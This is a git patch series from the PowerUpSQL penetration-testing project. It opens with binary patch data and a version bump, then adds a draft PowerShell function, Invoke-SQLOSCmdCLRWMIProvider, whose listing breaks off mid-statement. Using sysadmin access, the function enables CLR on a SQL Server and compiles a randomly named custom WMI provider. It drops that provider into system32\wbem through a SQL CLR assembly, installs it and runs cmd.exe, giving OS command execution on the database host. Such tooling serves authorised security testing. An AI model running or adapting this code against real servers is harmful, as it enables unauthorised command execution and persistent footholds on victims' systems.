zUZ9@P$DwzAsR|9vmcc+&r{OI?lJ)5u2fa2+4}MZ2N{?oP%VR;EAf9o+@$#_anQOMo zYPbI4IgUYYiMe`xzx{a6P0I$2tV>>g#}w_^t``5zPNhA@z7lff!|x&h8Kmhp02>9@HAPL_5n zL6NY;#&<3H7EP7|M-6ZPfcZ4`D1seo0qHi{ZHs;4>!q0N&2!;^moZKqEA{4FLh`W^ z!TqSYace{_n~TApIotB;tGX9-$@^YEU5W`$9YHV}UQvEUE?YjqBAXlCSvQC^uWv~8AvFkbIO{t)h0 zG^DNur+`>&yiokaJ^q*~2uXoV8SIoOfBBDtdJng6OV^W8EGkmi7F|@*I2L^|)fgL@w>?I+ZMaU5+}&tqk9$9&Q;(CLWl`!44~ z93T|@cE#wvClaXj))svq@BY%C^C_Dz)`NYQw9Jz-v1Zfu5E$64--b9|TnD>qi%RVS z?u~|8>blE>*Mc|o`44ttG)y`Gg%2#YAQyw}4`E{lV#x9X#kFh4i}^tcuIH6~te^f` z`ww19(=;=)Ve+M?lP}ORjuspe%jabw z6r}0`^|-kQA75yc2M{jb9~c}cCuYc4B#&ClJ)2i0hbj0Itqwy&l94dXGqh&Z=}<>y zB_|5a0$xEK>a_{2PSf+%V>3!{%&Y0qbm-K>N(8Ya>ql%!YFRBo6?_6`hGnr!oZA}I zbI2b}C$OKw;J=}tIO9cWpNb8_Cm!wcl;Y%%>vSJJGN9*^0ks|eX|U(e55TMZHP!UG zY;z%*L?VjQJ!Ht~s=4FaM=&E}&#T%c_bRi^h@R0CpiZZU&)(w-(%I81!R3oF}ih1i!ei z{D?;I?~8n)GO;$|gF4>0H(p=1aav?pM4yNy)*he$nPAcusX{!_-yEE$-6rV}J9`Fo zSmn|*8N>wA&*~Zub@=Q*mF`V;_?f=rf23CXu-D!Gh7-C*oR#E^IHuuf6OB1qpg0u0 zu7ahmK6_P(qRyltT1;WyuUcbK}MGTXu>j=H3pKB?8yJ|QX6zc_S9`!GR ze&T(1m~yKpVSvZ#oLC<*R%(XNpv`8W(fnu6*vzUS^|MV4;NyJW^g3;fe{j|-~57D`W;*D_W& z^5UOjZNKw6Uj!2F<3`HlRYYy8ZR|+8<*-<~ID(w6!*#;LlN6rbU23 zOL(zJ)+F_i&Tt&@>xz~7i`Yy+;ykfyB#2|NKA@;;e43bV_?319L+kWg!S8quUbb5F zFrKLe3A4o09KC{SiMrFHtwZv{0q($F0S>4BLb9K$38%5{^D7rk-THKYCXyT~AQJ&6#=n;TaC(>lc-|*K2bmF3=4g_~;>$6E@PXmUN(3#)AB;4yNG?4$bg zuRtk+XLxs9Vn(-#)5HfO+<*BM&n{E|z17A%tU8e5-bLk4-MjW{j4+${hd@rl!^HlV z33&kcIsx_W-=`Mo|1DPnyeiWjRh*xx3R4ri1e|ZAI20HT>@Y?bTSBAZ|Hgy8|BDBc z=j^|r!2zAGrvuQ4a4gfZXMZmT27L3Y)eGO~ez@g^ZZu5%n4|oTuzP=e2&|#u=Az-l z*g2RyfWfIiXZ^;{8rlD_exp0;^rk=KVxEALxygIy6{jQqL4pW%eZKSb@wER11al}H zoF(D>%Bq?Zg{1FW8}6uaKz>AQXupQ)k`!pVW4Z08R@KgvB5Y2-wq-a;{kR<3ws$V5 zdcq6gDEPbYSs&h+YL}w{S0NqxWB}JJyddAR{R=AOO{wul=L^!xvP*$yK`zFt2yFl{ zR$8YzI3UD1=BD%opyn3Ui$-cSn^Lj9tEo)qBfSO;AowSvDoq9>_5iQI42L{J@tJpY z)|MvdhjzJXKL`@*!CU+ZKtd#F29rT*A_ToiLacg-Mw7dR>R7=dvq@S|l=RQY+G7F( z7mT;Vl|817b$(%9 zsc?36rj`URJkqtQZR|bIR<=rn0+rrUA>&;~uYlSi)fppDhmi}#EVQ3zT#@LvTA1U4 zFe&0VuL;_}CTiMIRHZ=McG_mG%1*`WbjYf8Tmo!L$%zS)+)>jGMc;EL8lbeBy|;q$ zf1m)cp9$PlNeCl_P9pMXHKA*Ma;EE6;hjqh#G1F)AyvFl^{19#%j;xnZJNedr4c@1 z{J8aWmx&*g?;@23QSSsbQ5)kpe63SVi>t_Un<^p>wZYK$|G+`kW4m@5`w%?)KMEgj zK4FakHhoTIN3n4DiaQZX`MKlC^c|MV+Jgh?di)JDR#$2^osJ>f zUGbK?hfmV9+44lWXfSc@7Vw8jwfc#T?u!OKh0laQMefK)INH$M=4XIs)%)!B+k=;R zXH_Kk({NW6-q-c(K7zwVi|0acL3v%7U`0W5O8~CRY5r=GA)}=5^;Jt@vf>X(d5$hh zDBswWP1HFpm^GM0W1IswdKH_8|GIPWiv}SD;Rh91t-?V!t;XEw_JDJKd;RvaDTx8$ zlD_L+RDd|G`C^elHx4Cma{Uj0N8EZ$$naY0*3C+A{cVNOHLF`yX12kHl_`+3LWo(r z*EptE3=}|Zp7V%8l41ECRG5c%obR6DR)^IFkvq{JwdV~YJ=5gSGK+ecw<-H+*5;}A z!;3RW*37qx4r8%9VzYtfSYcDpGgNONakTC`mL+(hzNY5HyWij)BNBm}NT>dy^V$(F zOpeRfWQ|v^K~-o;jE#Wn<$THS&l=h7m>)a6SI1aqOS;Z|8{vJGzOEMyG_3)CBclx) z8FWSn6+c8h5?3gc6%LesZLMxSA-ox4QI*CaSwtGt}@o3@5k#b{cP8t zF_V{{sMlWqZtR?pgvIrPlwV%anM5KM6q`5S$^sy3aHs3ENsH&e4r6f0!Loj#>`b4} z_>`o4Pjey$-R-GC>%h1L2Mm*i(eZ%7ez2dBQdnA^s_<`2A>WPSXvRGZo03szU7pNw zPfpQp@`1{Uv#k?F9(C&J^AF5f(v%M07pNnP zB=^PpFF+>Jr^b?q_z91clSL~?PQV-BdU|zQ&F^(>jZWRAO}&vQdOCCqT)n|;A6th< z!FXp1C*9Ga%mb-s=^)~1LTecJpiztm5_kv4*Yf zAA&i5_`Poj1hM$Rs!`{dDA*)7$qi>xC@(7R*Z;6XOU)&Z03EGpj^ws9UP&@BKN|-$ z&rK2^(WkyL%*k{6`p62c-nB~bp>6h@83 z!KYRzZBj;`jSjJS=y!7XisHRL7&LaF`H*C*|N98zi&*s_x%%yvljC$L9&Sj!wn{ad z2wlm!me604*AHku(@wBv#9!h0M9q*`aAvY!T`InwPbsaLdnmJlXTC$9oX+TqXbf)W z{~eZzVF*@5L+#1T0BF{{aSzRo%0=E+lZ~y=%%uq>pIHXD|yj( zrVSR15E``5G;#;)kyyj**=mC2QY#_-?vDC-gF0K z?U2)q)hcb?;>Hd;<&zJ!+gz^9lkI$?uvc|Dp;(r5<0$jz!KK=>gs-7J4lON@pn+oL z%Hs@jo5kQ{mhoux$Av4P^#BKNalL5i)QEYc7jNr@b=)1RjSi?Qh2{YOsXWA7Ic~^6 z4JRRO_Cu&wtgWDzU2R6OyZ0KGlGN|0{jy63RV$lquYdz~Eh;}Q-uZqbotxz6qoL_O zeSdFJemT^WT^%^}lb1U39&<#gmKK$Bp9b$inI+FVgoAu~Y^G_$lP$Dkfatg;Ph*hD zKT;u`%BR5p^x^RyZ_f7lkHsP~izu_p?XO<78#&-Pz|Kzt@r=I3L(LOR!onRe4qI$}DeGm!lLXh^}dV^8?$uH^1)E3n!9%(4`) zGCX}5gUi?6vNhnsq{I^QEv;Fntix;QQ$)ks zy>+23J1<~%8iqnDPLi~D}3 zJ`}7~9zW`4#7ub(DBb10Cfn9$i%r8U&c-Sye_^Q_Z_S+9!O4Tc=Z&2o9KF3>hLC=a zG^>G3hCE8ith1|Yt5ho7M6Z}~-RE;{x@cOZ4^9^vHM>TN{X0VYG2Amkx9N|s<=3XN+~hehtg>&T zo%^9{C?B3^BIs@HpcV=;`Ki*nMJW_ptCp8m zo?=!icT|qOC$Wrr(>55o`+5#(>X^P;bW3o%)$KQ7p+OCxG1j<n(RfkK2<6FMn0U-|KLZpQzn_Q=1w55$A?x_Xcrd73!((JwLm&g2_LH z57E`6Nt)~g`m9qQJ)mX5v8$g+=D0Xp$YJduw41#YiuJo}6q9uXuLHk04i~7C^MExA zm036fed_!UpVM&50-n8Y~(h06NpIh|cPTn2w5p4MA)O4T11?B7;ikKK%dV8^-57<8o=EDLLKD%EX zXPOQP_C(aa&z^`MJ=r_t&}>){NPv3q?M{2V^?NdZm&D+DJ(3H*w|bN_ukeDyvW+T) z3LvJV6TOQKu#p=T(#O@XDo&x7%sneN%MD3pZ#Gpc*70Z#ue(+nv@i-9AS4`Cb_IhQ z%X2o%PhIA&EoO_CuoD*7^}1LAL~sd&;hxe6z%X{u+#5dd*bAR zxtvr*u(KXM+G>CB97tC78Oag|JYQvU-m_OmnYAa`vsXBRnRutxlSH+<@;S~Y&kmsF z+cda(x`6G;d9qGY&4+b5;;@3>88mE@Wr+i}SGTprwl);w^%32p+lJ!M-pu8gkT0IV zb^63{;r06Weh|iFod*)JVo3Z!PmSqC)9>V%;@fREmO0ib@iNPHfg->3^ei0zDEIhH z{+k|5(e3oEx+>emJBo>xo(b7;lhMwHs3adQc|@c?cS&=6gY+rGo0I&R_)`lvq%r@~ zPnZO!L(EsY!5IL=dg`@{>!0qjv@Y7lP=C&?Uu2j z|IvIGxz&5PcABQ*@hAI+%Z)EV!u-%c|JrH4y!&7Bhy0Z8~y zyiH<2!6Hr7y7j$m16;AShZ}(aZ7J``&y~f#e@1W zWQXkGtx-&GrYvj;i& zDS93+MIF~dOkWYPLC(k*QOXY6nxw;#kjj)hCwX{d#TI`{@qKFFalw@~kN3xdb0mOd zx&9T^Zv44(rrG||`#YjP?UQneV^BBTujV>D=RXw+nS_@RI2!Fy!gGJ%d9OPSZooHGluKMdu`S*%9}@V zr@^VF$HXKBwuSygTe{I3@z#zX1m4-EOBe{IA3ryeU==<~l$PuVR1%4Vz=r4tIh}!H z$2eSaqt>bfSv7zY_c;De9ksObddQx|@g!L`&uOCM!8uxA9drL(06yWKn=xmhRp*s* z8)@w6Pq5r7d>D*^93B!7ekkx4-9g@NeNCq$3AOUH?<^A^XJ)W%r%?=RaP;)#(sIQ1vNnOcWr zA{Pm+HLkb?K2eaW_M=%fI+?>nauUM^l@PB>428JP+22QjfdQQjh=Xi9MhV(FjU%*$ zDYh=%R%?gE*E=K_G;T76uHo1RtUctr&QpxZGiE)UI&{4yD_k0vGPWtj_8YxozmQYF z@2dhu){d5m8xlW_Xz!P@0hKyn16$jJkWa74FGjM8>B5 z)(!sA-0q{4a@IT0XTs`OKw1$3oOA+vn_Qe($g=@xmc#Q=?=l9;=$mCe9L2 z>SNqz(wAr(+`vG5rmr$C6_=&p!rt9+WWjjn~V=|?vK;AFPX&$!-oE&!sm3R0@PdR@4?4yH~d1`{LU)$PnRM}009 zK7(E=5!OMDwhKwvRh8v;$w#8<-_}bmwI5@(#@SqFvz3=)F04R1kkkM(9@DDLOMz)t z6Mn;dnvRkvSy9%0l!r`>RFh`{WAI*9hfRPFIj(06;IzJWX}I$R#@o}oTYeZ6Kc0jX z(zLkpJY=6JI#~DqUKJ!zN4$@EBFe7KnKEHIYHgI^RH7;z5m4^PeIh0PTpp8UX}&Nc zF;#BMe*7D`rV7h=1$?M4-f^*QNsHvQg~F2KRnx-UdH4RIM22c}t?2WCi4oReX;}u7gd8 zO?9dpDgF-W^$<-OOf8G1%n-MaLsvd;=gXI{r@42E z#%Y)DE;LQ^2fUx0ch-i;SdGoM5zcREA1_h|dxos9F<;JXoYPg-r26>Ay-T(E;G=+! z`f$Gs^4SOh#~W$bhrLGHUrw~zRzF#Pvck`4LY(WJ5+hMF)6l5o^;p88lb?CL=`e; zFBs=;mTet!8OMAEUvabvV+C)kg~?}>oxdDdaId2wV@z~UJRvJLPn)-i%N>qYpEfZ_ z)}Q)v8|xq3AUPPOZ-6_%UV4_pwTMM2qKVz8%DVW=-}-Z_&h-uSId*CGGjX{o$LW3B zvc#SJir@OzP!pkqMMVibavd!_c|`>lr~p*;{O=2=l^@uY30UIvVYPfFNa!bfPVoZszr53 z5}uJ5)FRd7g5SQ>1#NfW5x1u}vAU~?OJ1iMCJoncPRZ!EJFwu+;4Jf%NvI>|t8Mx) z2gRv!=CVIYz{hVdP|%LN3%vgI;7Rup}?VZFu!5*+HWAdK8dg- zaT{V*XXqyUW+jx9Z#FJOiM|09(B}waj>tOmeJL+BfwhYE5GzFBwRx*>$Rt_yuwNbxRRRvmWNV}{wonlDe1kjB?d z6k4O}X|Cd@hYL?AKRqe?)Q{N@gChOnp#tG_!!ym0Xy2LhtWP?Df_(tKcf2pc9{D|)N$ca+n0~vD(!|9$mUaAZ$!U95K5+=w#~86#f+<@+>_VZ?=wJT3Q|Ra zR}F8!|4JH9R7>1I-PF))DAv(qxnK)UjJ~E{6HDzu- zY`mp#aW~u_9Pr>djwCSTi{ex&tlQS#BEF9E{(=^H}uj0!OR_lol;xDSuE}}6ohloG@xJ1IkIJ0KV{42!KWhaI z!djQLl|m|>SV)y_{V*7Y-{K)HWhHmk)>tByKp|2wuFgYeFjnUQR&$O5x k_3B5S1oo~DZn0b80QHqYEK_DU@cMzYxPn-ri0+sF0}?P|W&i*H literal 0 HcmV?d00001 From a1e54d9bf000118f37017499cb6433095f45ff36 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 14 May 2018 17:33:18 -0500 Subject: [PATCH 04/27] Update PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 57870dd..a2c557f 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.103.0' + ModuleVersion = '1.103.3' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From b26ef0c5e37c1cd72534ff4c30c4003104b02cee Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 16 May 2018 15:03:54 -0500 Subject: [PATCH 05/27] Create Invoke-SQLOSCmdCLRWMIProvider.ps1 --- .../pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 | 614 ++++++++++++++++++ 1 file changed, 614 insertions(+) create mode 100644 scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 diff --git a/scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 b/scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 new file mode 100644 index 0000000..b62c2ee --- /dev/null +++ b/scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 @@ -0,0 +1,614 @@ +# todo +<# +Note: dependant on PowerUpSQL. +- have script accept command or source script as string + --- have that get bake into the wmi provider method + --- update the wmi method to execute the provided string as a script block + --- mod the clr to return the output of the wmi command +- roll into clone of the invoke-sqloscmdclr function so it can scale +- remove wmi cs and dll on client +- remove sql dll cs and dll on client +- deregister sp on sql server +- deregister assembly on sql server +- deregister wmi and remove .dll from sql server +- dynamically find the installutil.exe, it is currently hardcoded +- update variables to make more sense +- work through .net version issues. +#> + +# ---------------------------------- +# Invoke-SQLOSCmdCLRWMIProvider +# ---------------------------------- +# Author: Scott Sutherland and Alexand Leary +Function Invoke-SQLOSCmdCLRWMIProvider +{ + <# + .SYNOPSIS + This registers a CLR assembly, that registers a custom WMI provider, + then the clr assembly will run the custom method. The method accept a string + that is executed as a runspace script block. + Supports threading, raw output, and table output. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Command + Operating command to be executed on the SQL Server. + .PARAMETER RawResults + Just show the raw results without the computer or instance name. + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Invoke-SQLOSCmdCLR -Verbose -Command "whoami" +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'OS command to be executed.')] + [String]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('CommandResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Switch to track CLR status + $DisableShowAdvancedOptions = 0 + $DisableCLR = 0 + + # Get sysadmin status + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + + # Check if CLR is enabled + if($IsSysadmin -eq 'Yes') + { + Write-Verbose -Message "$Instance : You are a sysadmin." + $IsCLREnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'CLR Enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + else + { + Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') + return + } + + # Enable show advanced options if needed + if ($IsShowAdvancedEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." + } + else + { + Write-Verbose -Message "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + + # Try to enable Show Advanced Options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsShowAdvancedEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Show Advanced Options." + } + else + { + Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') + return + } + } + + # Enable CLR if needed + if ($IsCLREnabled -eq 1) + { + Write-Verbose -Message "$Instance : CLR is already enabled." + } + else + { + Write-Verbose -Message "$Instance : CLR is disabled." + $DisableCLR = 1 + + # Try to enable CLR + Get-SQLQuery -Instance $Instance -Query "sp_configure 'CLR Enabled',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsCLREnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "CLR Enabled"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsCLREnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled CLR." + } + else + { + Write-Verbose -Message "$Instance : Enabling CLR failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable CLR.') + + return + } + } + + # ----------------------------------- + # Setup and Compile WMI Provider DLL + # ----------------------------------- + + # Status user + Write-Verbose -Message "$Instance : Generating WMI provider C# Code" + + # Create random WMI name space + $WMINameSpaceLen = (5..10 | Get-Random -count 1 ) + $WMINameSpace = (-join ((65..90) + (97..122) | Get-Random -Count $WMINameSpaceLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider name space: $WMINameSpace" + + # Create random WMI class name + $WMIClassLen = (5..10 | Get-Random -count 1 ) + $WMIClass = (-join ((65..90) + (97..122) | Get-Random -Count $WMIClassLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider class: $WMIClass" + + # Create random WMI method name + $WMIMethodLen = (5..10 | Get-Random -count 1 ) + $WMIMethod = (-join ((65..90) + (97..122) | Get-Random -Count $WMIMethodLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider Method: $WMIMethod " + + # Create random WMI provider file name + $WmiFileNameLen = (5..10 | Get-Random -count 1 ) + $WmiFileName = (-join ((65..90) + (97..122) | Get-Random -Count $WmiFileNameLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider file name: $WmiFileName.dll" + + # Define WMI provider code + $WMICS = " + using System; + using System.Collections; + using System.Management; + using System.Management.Instrumentation; + using System.Runtime.InteropServices; + using System.Configuration.Install; + + [assembly: WmiConfiguration(@`"root\cimv2`", HostingModel = ManagementHostingModel.LocalSystem)] + namespace $WMINameSpace + { + [System.ComponentModel.RunInstaller(true)] + public class MyInstall : DefaultManagementInstaller + { + //private static string fileName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; + + public override void Install(IDictionary stateSaver) + { + try + { + new System.EnterpriseServices.Internal.Publish().GacInstall(`"$WmiFileName.dll`"); + base.Install(stateSaver); + RegistrationServices registrationServices = new RegistrationServices(); + } + catch { } + } + + public override void Uninstall(IDictionary savedState) + { + + try + { + new System.EnterpriseServices.Internal.Publish().GacRemove(`"$WmiFileName.dll`"); + ManagementClass managementClass = new ManagementClass(@`"root\cimv2:Win32_$WMIClass`"); + managementClass.Delete(); + } + catch { } + + try + { + base.Uninstall(savedState); + } + catch { } + } + } + + [ManagementEntity(Name = `"Win32_$WMIClass`")] + public class $WMIClass + { + [ManagementTask] + public static string $WMIMethod(string command, string parameters) + { + + // Write a file to c:\temp\doit.txt using wmi + object[] theProcessToRun = { `"c:\\windows\\system32\\cmd.exe /C \`"echo testing123$WMIMethod > c:\\temp\\doit.txt \`"`" }; + ManagementClass mClass = new ManagementClass(@`"\\`" + `"127.0.0.1`" + @`"\root\cimv2:Win32_Process`"); + mClass.InvokeMethod(`"Create`", theProcessToRun); + + // Return test script + return `"test`"; + } + } + }" + + # Write c sharp code to a file + $OutDir = $env:temp + $OutFileName = $WmiFileName + $OutFilePath = "$OutDir\$OutFileName.cs" + Write-Verbose -Message "$Instance : Writing WMI provider code to: $OutFilePath" + $WMICS | Out-File $OutFilePath + + # Identify the path to csc.exe + Write-Verbose -Message "$Instance : Searching for .net framework v3 csc.exe" + $CSCPath = Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | where {$_.FullName -like "*v3*" -and $_.fullname -like "*Framework64*"} | Select-Object fullname -First 1 -ExpandProperty fullname + if(-not $CSCPath){ + Write-Verbose -Message "$Instance : No csc.exe found." + return + }else{ + Write-Verbose -Message "$Instance : Found csc.exe: $CSCPath" + } + + # Compile the .cs file to a .dll using csc.exe + $CurrentDirectory = pwd + cd $OutDir + $Command = "$CSCPath /target:library /R:system.configuration.install.dll /R:system.enterpriseservices.dll /R:system.management.dll /R:system.management.instrumentation.dll " + $OutFilePath + Write-Verbose -Message "$Instance : Compiling WMI provider code to: $OutDir\$OutFileName.dll" + $Results = Invoke-Expression $Command + cd $CurrentDirectory + $WMIFilePath1 = "$OutDir\$OutFileName.dll" + + # ------------------------------------ + # Setup and Compile SQL Server CLR DLL + # ------------------------------------ + + Write-Verbose -Message "$Instance : Converting WMI provider DLL to base64" + + # Read the DLL into a byte array + $FileBytes = [System.IO.File]::ReadAllBytes("$WMIFilePath1") + + # Convert the byte array in the a Base64 string + $FileBytes64 = [Convert]::ToBase64String($FileBytes); + + # Remove dll and cs files - pending + + Write-Verbose -Message "$Instance : Generating SQL Server CLR C# Code" + + # Define random variables for the clr + $AssemblyLength = (5..10 | Get-Random -count 1 ) + $AssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $AssemblyLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR Assembly Name: $AssemblyName.dll" + + $ClassNameLength = (5..10 | Get-Random -count 1 ) + $ClassName = (-join ((65..90) + (97..122) | Get-Random -Count $ClassNameLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR ClassName: $ClassName" + + $MethodNameLength = (5..10 | Get-Random -count 1 ) + $MethodName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR MethodName: $MethodName" + + $ProcNameLength = (5..10 | Get-Random -count 1 ) + $ProcName = (-join ((65..90) + (97..122) | Get-Random -Count $ProcNameLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR Proc Name: $ProcName" + + # Define SQL Server CLR Assembly Code +$TemplateCmdExec = @" + using System; + using System.Data; + using System.Data.SqlClient; + using System.Data.SqlTypes; + using Microsoft.SqlServer.Server; + using System.IO; + using System.Diagnostics; + using System.Text; + using System.Collections.Generic; + using System.Management; + + public partial class $ClassName + { + [Microsoft.SqlServer.Server.SqlProcedure] + public static void $MethodName (SqlString execCommand) + { + // Check for local administrator privileges - pending + + // Convert Base64 to byte array + byte[] MyByteArray2 = Convert.FromBase64String("$FileBytes64"); + + // Write all bytes to another file + File.WriteAllBytes("c:\\windows\\system32\\wbem\\$WmiFileName.dll",MyByteArray2); + + // Create new process to install the wmi provider + Process proc = new Process(); + proc.StartInfo.FileName = @"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"; + proc.StartInfo.Arguments = string.Format(@" c:\\windows\\system32\\wbem\\$WmiFileName.dll", execCommand.Value); + proc.StartInfo.UseShellExecute = false; + proc.StartInfo.RedirectStandardOutput = true; + proc.Start(); + + // Execute custom wmi method from custom wmi class via wmi using c sharp + ManagementClass mClass = new ManagementClass(@"\\" + "127.0.0.1" + @"\root\cimv2:Win32_$WMIClass"); + object results = mClass.InvokeMethod("$WMIMethod", null); + + // Test getting process list - multiple line output reading + // ManagementClass c = new ManagementClass("Win32_Process"); + // StringBuilder builder = new StringBuilder(); + // foreach (ManagementObject o in c.GetInstances()) + // builder.Append(o).AppendLine(o["Name"].ToString()); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, results.ToString()); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); + + proc.WaitForExit(); + proc.Close(); + + // Remove provider - pending + + // Remove dll - pending + } + }; +"@ + + # Write out the cs code + $ClrFileNameLen = (5..10 | Get-Random -count 1 ) + $ClrFileName = (-join ((65..90) + (97..122) | Get-Random -Count $ClrFileNameLen | % {[char]$_})) + $SRCPath = $OutDir + "\$ClrFileName.cs" + Write-Verbose -Message "$Instance : Writing SQL Server CLR code to: $SRCPath" + $TemplateCmdExec | Out-File $SRCPath + + # Setup and compile the dll + $CurrentDirectory = pwd + cd $OutDir + $Command = "$CSCPath /target:library " + $OutDir + "\$ClrFileName.cs" + Write-Verbose -Message "$Instance : Compiling SQL Server CLR code to: $OutDir\$ClrFileName.dll" + $Results = Invoke-Expression $Command + cd $CurrentDirectory + + # -------------------------------------- + # Install and CLR DLLs on the SQL Server + # -------------------------------------- + + # Register system.management.dll w + # Note: This is required for the C Sharp CLR to call WMI + Write-Verbose -Message "$Instance : Registering assembly system.management.dll on SQL Server instance" + $stringBuilder0 = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder0.AppendLine("CREATE ASSEMBLY 